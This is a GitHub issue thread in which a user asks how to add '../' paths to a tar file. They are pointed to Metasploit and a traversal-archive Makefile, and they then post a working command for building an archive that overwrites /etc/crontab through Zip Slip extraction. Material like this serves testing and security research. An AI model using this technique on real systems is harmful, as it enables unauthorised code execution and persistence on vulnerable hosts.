Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

how to add ../ in tar file #42

Open
mikelueng opened this issue Jul 6, 2021 · 4 comments
Open

how to add ../ in tar file #42

mikelueng opened this issue Jul 6, 2021 · 4 comments

Comments

@mikelueng
Copy link

hi, would you tell me the way how to add ../ in tar file.

@ggkitsas
Copy link
Contributor

ggkitsas commented Jul 6, 2021

metasploit has a module

or you could script it yourself, here's a starting point:
https://github.com/jwilk/traversal-archives/blob/master/tar/Makefile

@mikelueng
Copy link
Author

thank you so much.

@mikelueng
Copy link
Author

when I use zip_slip module in metasploit, it seems that I can just use the payload msf provided, but can't specify the content of the compressed file.
If I want to exploit the Zip_Slip_Vulnerability to override /ect/crontab with correct format , how could I do for this ?

@mikelueng
Copy link
Author

finally, I find the way to override etc/crontab:
1)mkdir etc in the path: /mike/java/yasuo/abc/, then write crontab in the folder "etc" we just mkdir.
2)root@kali:
/mike/java/yasuo/abc/11/22/33# tar cPvf cron.tar ../../../etc/crontab
bingo, get cron.tar include ../../../etc/crontab

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants